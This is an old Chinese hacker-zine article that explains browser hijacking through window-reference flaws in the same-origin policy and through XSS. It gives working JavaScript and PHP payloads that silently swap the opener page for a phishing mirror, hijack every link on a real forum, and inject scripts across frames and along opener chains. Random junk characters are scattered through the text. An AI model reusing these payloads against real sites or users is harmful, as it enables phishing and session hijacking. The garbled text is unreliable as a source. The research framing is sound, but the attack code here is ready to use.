==Ph4nt0m Security Team==
$ N( q+ V- \) k7 r, ]7 X2 ?
7 C- I% h2 j/ J7 \1 K; R3 U Issue 0x03, Phile #0x05 of 0x079 h$ u* D, u, v: D3 \" v! a. h: Q
# B6 H& c3 S, I3 m# O2 G# t+ L$ E2 Z, P6 K% J
|=---------------------------------------------------------------------------=|
, V; {' r- f9 F4 }|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
; z2 g( H+ p) i( T, Y0 E|=---------------------------------------------------------------------------=|9 L8 u7 S+ F. N2 W! S& e& p
|=---------------------------------------------------------------------------=|
7 y6 H# U: h3 o! Y# Q" j|=------------------------=[ By rayh4c ]=---------------------------=|
) [0 _ {& f7 W% u: K, e|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|! ^3 F: T* {, s8 O) r1 L5 W
|=---------------------------------------------------------------------------=|' S$ Z& A7 y% J, ~) ~% f* @
$ I' G! m3 y% W% ^' h8 z+ G
) b# c0 q2 u' c H
[目录]
- c! H- z5 e7 A( D, J3 p# I
O5 O) ^5 b4 `: {' c1. 前言6 O$ b/ Z. e1 j ^
2. 同源策略简叙
* U1 @% E2 \4 l9 J* ]9 o3 k i3. 理解window对象的同源策略
; E& g1 E! x/ k, l. i* @2 s4. 窗口引用功能中的同源策略漏洞
1 s1 U' {5 U% F" b9 b: s/ a0 j 4.1 父窗口引用子窗口的同源策略问题+ P8 f! f, l: h8 D6 H! {5 ?
4.2 子窗口引用父窗口的同源策略问题
8 L7 D) z1 [2 p2 K& ?5. 利用窗口引用漏洞劫持浏览器
- A4 Y' X6 q% g) \6. 利用XSS漏洞劫持浏览器
, F, M& _0 k0 [* v' C 6.1 正向跨窗口劫持
1 \( C% J {$ ?3 C 6.2 反向跨窗口劫持
/ ^6 p; U* n/ i" ~9 h 6.3 极度危险的跨框架窗口引用劫持) d7 K: e/ L" Z& \* G7 T" c0 }
6.4 极度危险的正反向跨窗口递归劫持: p( @" F2 u) C# A5 p, N1 J8 y
6.5 完全控制浏览器- Y4 R( v! q, z* x5 [5 e3 f
7. 后记
& W: ^3 j8 V$ L7 A% g# H8. 参考% s+ [, `% A! j, B. P! Z1 j
# S7 y" @* r l; c5 u% }
# Y$ k# M5 d* d5 R+ P一、前言4 X0 {5 k, w- L0 @" z5 F+ T$ l4 `
, Z: r, ~# K& E+ x5 S5 n
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
. I* P' q0 i4 E* {友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session9 G8 j$ [; e* r! v
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
1 u% u& G) [' e/ Z. R; E条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
8 N: n! v: ?" w% m% x
8 \( ]& |( w, w, h& Y
" g. \, ^' G- s; G二、同源策略简叙
6 e" I7 k v* O: ]1 e& f
6 W8 ^3 N; s, w( `4 ]' W 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以- R, a' F9 i1 r3 E s
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
4 x$ Z N% Z8 L" N) ]3 @5 m曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木* M0 J$ `) k% n" p: c# d
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个# `/ h2 s7 {3 V$ J& i6 b
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
( l% h% c# j# k. T+ Z/ t7 V& b
; W' S/ a+ }0 V c$ u0 B. n; o! U3 o* D1 r7 |% p
三、理解window对象的同源策略
+ F4 l5 e- q/ ?' m' t" `; B. w$ y. L2 z/ h* a, T6 l
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对/ {5 M1 c3 q0 G% m% H& i% c
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:) r( H+ @* R. l* j$ X( a+ _
2 d# N7 Z6 R( ^: k- N--code-------------------------------------------------------------------------
, h" a' ?4 T6 x- x% O. u/ Y3 k6 c2 z- _<script language="javascript">
' f) A0 G" C- b0 qfor(p in window) document.write(p+"<br>");
# A+ i! ^* F# K) C; \- i9 A</script>3 `' P. R4 I3 T& _) Z
-------------------------------------------------------------------------------) U' d0 b2 \2 ^5 i3 f3 ^
2 H4 r$ j! U- g3 H& ^7 ]
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方% R/ Y" ^/ [7 @' t2 V8 _
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
% z v8 i% n* d) q( Z这些属性和方法就必须遵循同源策略。
, b& g% j5 C N! R0 s# s
7 f2 w4 J* P& K! ? 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
$ y1 Q+ A8 h4 d" d% \么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
# d& T, c x( ]0 d的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这7 K: Q3 S2 a1 \8 }8 w1 i
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
( N; }5 F- \6 f: m8 x值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location ]' |1 C9 O' f% s8 M5 J, g
属性并没有被拒绝访问。- T& N. \7 s6 d2 G+ W2 M
" y! `8 z) {3 g& ~8 d
--demo.html-------------------------------------------------------------------- k1 ~$ z# h+ N4 M2 O4 ?
<script language="javascript">
" f0 @7 x/ U" Afunction allPrpos(obj) { 3 S& t5 y' o4 u2 N( b+ H+ |, _; `6 e
var props = "<table><tr><td>名称</td><td>值</td>";
' E( ~; I; _+ ^5 z- ? for(var p in obj){ - Q1 s' `6 a: b' H7 p/ L) s
if(typeof(obj[p])=="function"){ 4 a4 M4 p# w) C7 [1 C
obj[p](); 9 y& ]# W: M1 D
}else{
8 ?" f" }4 y4 r+ u& E; g try ! f" S$ {- I+ x1 N
{
: U( f9 F* ]7 C. X props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; k) F3 r+ n; o
}
' J" D. Z, _- @: o/ g catch (ex) $ g. c* O a- ^) X
{
4 I; p' a; }; E7 z
& a4 W2 F- m$ m8 Z! p+ e( E& Z* c props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; . P9 {0 C g' M9 z6 U4 H, ^
} / Y0 _* @2 K! D# H( X' C
2 `) r. Y( q3 R& g }
# N# k% c# \0 i6 \" z; m }
& C; J A/ i2 \& ~0 G
+ q) J. y, t& a1 r8 ? document.write(props+"</table>"); + O B5 B& P4 X, ?* |5 v% p1 g
}
8 @( K+ m2 ]6 g0 ]
( z N, c, ^; a3 W- q1 M! Mfunction createWin() {5 ]2 @/ K1 P/ w \; A7 ?
newWin = window.open ("http://www.google.com"); $ @3 I( `/ n X4 S0 D) x' u. }+ I
setTimeout(function(){allPrpos(newWin)},2000);
- i( L, C4 N; t3 L; |" c} 7 H) o! X% w. e
6 L0 w+ ^* M& ^( R% z3 e) d, |0 f
</script> $ |' e Y+ w, |
" Y! ?- r, a0 C2 n7 v
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
$ R" `! e5 F+ \9 x) q" E$ N( O-------------------------------------------------------------------------------
0 F. O+ n) Z% o+ e! @
' g. ]- g& f* I; T0 H% w7 j, y2 \8 G2 q0 ]
四、窗口引用功能中的同源策略漏洞
, u: x2 a/ t3 F! D& v s, q/ G% @& ^1 y8 ^" ?+ \. r4 b3 U! T/ R
4.1 父窗口引用子窗口的同源策略问题
/ O5 M; x, U/ c
( V/ A4 S. B) V& M 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,9 z- S+ S% h5 h Z6 P
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
: b* |# v, G' K浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
8 G+ c! ^4 D' k: q* |行测试,会发现父窗口可以控制非同源子窗口location属性值。
4 L% w0 Q6 x4 K" \& v, D, }) j% I2 q; k3 }
--vul1.html--------------------------------------------------------------------
6 M G( r0 ~+ x2 r+ ^/ d3 D9 O" K- q<script language="javascript"> % T- i6 R& G. V( Q5 P+ J! p# o
function createWin() { 9 p- j$ u- u# M8 a3 z2 L
newWin = window.open ("http://www.google.com"); 0 J1 l" Q! }+ u) v; f4 ~
setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
5 S% r9 Z2 D& v( Y}
. A6 ~8 Q5 O. b; H# |. t</script>
, }1 t t$ K2 p
1 [! E; U0 g' n$ \4 E<button onclick='createWin()'>创建一个非同源子窗口测试</button>
7 }6 S' H+ J3 l- O-------------------------------------------------------------------------------* ]* j3 C7 e$ J# ]0 d% f9 x# `
2 k4 {& s( ^6 K2 C4 b
7 }& a/ _0 }$ A$ ^4.2 子窗口引用父窗口的同源策略问题" f1 K3 [7 N f; e) U3 z. r
7 {4 T- K% f' B/ ~) b+ V( Y+ P 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使) t2 Z. R8 ?8 j+ o* o
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们2 k. t0 F! O: u/ X; S. ^1 G
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
9 L! g& k8 n; o* g, h7 B/ t4 B会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
) _, `, V5 ?, v, d1 t, @6 |% K+ q# w
/ W6 q9 I `) d& }- i) s E' `0 W--code-------------------------------------------------------------------------" Z7 i5 e1 L+ y/ ^) |
, F" y8 ]5 r6 ?& {" ]javascript:window.opener.location = "http://www.80sec.com";void(0);
) f/ I8 w6 y( x. ?. o0 x" a1 s1 Z0 H5 _+ E
-------------------------------------------------------------------------------
4 a& J" _) B% u1 L" q& Z
. _0 d- ]3 X/ B5 |% p7 x
. c c" ]- n# i* f7 B% q$ S五、利用窗口引用漏洞劫持浏览器
4 i4 I3 X# D3 v2 A1 ]+ p& A, ` H4 M/ ~5 R0 G8 p
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
. j6 H7 p0 t1 h! X3 Z$ l窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那, O4 ?7 r+ U( ^! T3 u# c% m. H
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
* r0 @8 e7 |" w' b# I# v: C. }& `. p' G
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
* a9 b4 t; U$ o) ^. r1 S生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
& H5 [1 t" x# i6 d, I8 c& y者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
* z7 f! J# t- T2 @后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下9 L( @. {- ~. `( Q# ~" ]% v( X+ A
会产生什么可怕的后果。
# w- p7 p& g6 ~ g" N! Q$ A& Z
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
4 ?7 P2 j: f, F7 @$ S们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php- l/ z* c( Q* }( a3 l6 Y
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
$ s1 @! x' y& E# D' O7 y' u- a候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可' }* `+ M& k3 @9 S& K6 }; L
以做更多的事情,所有的一切仅仅是因为点击了一个链接。
0 C4 f8 c) Q: U$ Z8 m0 `5 u
3 D9 U6 D8 I1 T* i3 P' a--hjk_ref.php------------------------------------------------------------------& q9 e) B% L5 D3 u/ z% @$ F
<?php
* h6 l* W2 O% T+ C4 Gif (array_key_exists("HTTP_REFERER", $_SERVER)) {' M+ O7 t4 e$ y5 V/ l1 K7 _: @0 P/ Q
$Url_Mirror = $_SERVER["HTTP_REFERER"];
$ N4 Y' H2 K J6 O: `} ' J5 e; |, `- C+ S% l
if(isset ($_GET['ref'])) {
% Z* k$ J8 }& ~0 n: recho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';: w: F" b6 w* H, d' Y4 Q4 U
}
3 m$ @. a; \2 p* @% o) d! V?>( \8 t3 L( F, P) @; K
' X" d' f) @ i, {' p9 c, Y: G
<script language="javascript">1 G, r/ X# g$ \) i) r
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); ' M& g8 X# Z! D {4 s- q2 n
</script>; J" L2 s- { g$ C) J- u
-------------------------------------------------------------------------------
1 g3 i4 O4 h6 i- Y3 z+ [8 X- K X3 T Y. a' t
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。8 r5 y* |, Z7 G0 I6 b
; t' n3 z+ a% F# S( x1 I# I; s
E# ^, s2 E" I. V. ]# O六、利用XSS漏洞劫持浏览器
+ N9 d! F2 Q, I9 _# l$ m# P' T0 j G. m' T+ [: b! f' K
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为6 Q" R% ~, e: Q B9 ]
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后; I, U# m% |/ a$ @' Q2 `
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
) u+ @; l, x% ]8 Q' ]讨论跨站师的终极技巧:
( Y7 k' d& S+ Q9 q9 R: Y% C6 `, `* }# T+ a/ d0 E- b
- y7 o# Y! `+ d" @0 Y
6.1 正向跨窗口劫持
0 }+ u+ z$ q8 N: f& U1 ^8 S: F1 W( \! _+ e
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
2 c0 Y/ B" r( x; q" _# G, a/ g主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链* o: |& C* K, X: {) y
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话# u; c ?) w" |; {
框脚本。
/ y" s9 g, Z! V# E4 T0 w9 v9 p f3 `( S8 K1 l* d+ E5 p! n3 M
--hijack_open.js--------------------------------------------------------------- V; e r9 U7 h
0 s E+ X2 y* D) X( `javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
5 e3 q& w8 E0 i# g g0 O: Y2 n% F" G/ _
-------------------------------------------------------------------------------
& S/ n5 f2 i, F! h4 V5 D! p8 s7 C* T6 R8 n1 Z' j7 z
- {* E8 s- O% u6.2 反向跨窗口劫持
* d* r9 Z. t% V& `8 ]% ~+ K+ T: J# r, Q% Z6 R' D U( ^8 K0 U
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代$ L' t* Y8 @7 v( X! n* k5 S
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话' l6 }5 R0 H6 E
框脚本。
8 Q7 L$ n# b" E0 h* [7 D
* C. m( I$ B& {% S- Y--hijack_opener.js-------------------------------------------------------------. t2 e1 a' e( \6 R' U u5 }
1 _# I1 A8 W7 t" Z" gjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);# l+ E& T2 z( H' S' P
8 [1 E+ W, g% H$ i# v
-------------------------------------------------------------------------------
0 a9 B, p% d* t9 I1 g# b( }% l$ z! Y, l6 j) @" t
: P3 A0 f: r/ L3 n( L2 `9 k/ o
6.3 极度危险的跨框架窗口引用劫持
! }0 y2 `5 K( E2 ^3 c( ^1 P6 y+ |; Z+ A0 L2 x: |8 m
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞3 }- Z1 D! P& L Q |6 T
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
9 \4 y( ?4 D. u) P% V适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
- \% t; e- D8 I1 C. s- d( G非持久型的XSS,如下:
4 S( A" D; d6 J/ s- H% c3 R R4 f$ g8 {1 a( b8 \: k4 e
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
6 y6 P0 L8 ~2 f$ h$ r+ F
8 s) n5 x! d% C- I. J 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
+ _; Z/ H) W' Z# o- H注入脚本。1 r$ K) l7 [% G7 x M. q2 d
, J* J1 H, d O3 Q- N; s2 s/ R( w
--hijack_frame_opener.js-------------------------------------------------------) M6 ]6 r! v' c5 W* O J
<script>6 k6 f" R/ o+ I
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')"; H! `1 a/ \! I' a
</script>3 V! |4 b$ L1 b3 Y5 n8 x
-------------------------------------------------------------------------------3 o! c4 @8 T( h E
3 Z0 L8 b8 Q5 {# C; K
7 e- o# u4 `- n0 U) o" F6.4 极度危险的正反向跨窗口递归劫持! p, S0 V h- j0 w; h) f
6 V% O; I' K) e: {% Q2 _ luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
& r! S3 k0 m% i4 m1 o* W1 H的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过9 g3 t" X. @4 ?8 P' d+ s
异常处理规避之间跨域页面的访问异常,代码如下:
0 k' S; R, i" ^* d$ L; O& v7 s
; y5 q7 `, v: i/ o--code-------------------------------------------------------------------------, r. n% r1 g7 ]% Q! P+ o
0 B+ W/ O" }8 S
javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
6 T0 o9 b! ]) Z; F
- F! W+ d$ K) `* s1 T-------------------------------------------------------------------------------! \+ b4 L1 X9 {
) W* u1 |0 h" p1 X9 ~2 p) W7 q
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
6 O. i6 p5 X6 n. [3 a0 Q& v以劫持B域之前的A域页面,从而实现“隔空打击”。) T8 {* ~! t6 X: q
/ X6 l: F: g' m8 [% t
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
" i, H" M/ r f4 h% d9 N执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。* {' @" ^4 R8 j6 h1 n& w
6 m$ Q m2 P4 f- {3 O
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
' _3 q, j7 y7 s% J! ?+ O9 K% B% U
$ F) Y; {8 Y2 W0 M; G7 q d
6.5 完全控制浏览器
' @" l; H' M' p3 f5 _8 F
: f: `3 l2 d3 y4 D3 W. ], v 一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则; N6 m5 B1 ~2 i9 h
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS, u" Y" u( e+ W0 b6 s; C& ^! C
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
i( J& X Y- H( z4 x而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
6 A- w: @. _* }& f ]0 j6 k列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
. ^, V& Q( a0 D师的终极目标 - 完全控制浏览器。
* P8 I0 t( c# J, ? R+ [; [7 j n) Q. m
# I2 o9 R. R4 S# i/ `. I1 U7 }6 s! \
七、后记
: _& y2 h0 p, K
: }3 @- {; z- }0 F; O" d, S3 C 文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
4 S, r. K* o" l0 R- e与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予# m9 J# [; O) f( ?) ?; U4 o5 x% u
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
% [+ Q6 E) J# \; w% @
+ k! [+ m/ F6 ?$ {, z0 R- K( a: J u Z2 v4 I" D. }
八、参考
) L% z8 X! y A1 K1 V' E- t1 Q" y8 T3 V$ @, X
1. http://en.wikipedia.org/wiki/Same_origin_policy4 B( X! m$ `! s) b. m) z
2. http://code.google.com/p/browser ... licy_for_DOM_access
9 R9 @, P9 N. V4 s, ?3. http://www.w3.org/TR/Window/* W7 O2 H, X, L$ r" m1 P: K
4. http://www.80sec.com/release/browser-hijacking.txt
9 W4 [& Q$ N* J- k6 w5. http://www.80sec.com/all-browser-security-alert.html
) {. t; y5 ~+ e6. http://www.80sec.com/ms08-058-attacks-google.html
1 Y0 E" s y- Z& h; t0 D- N' ?$ h" F9 L- x
-EOF- |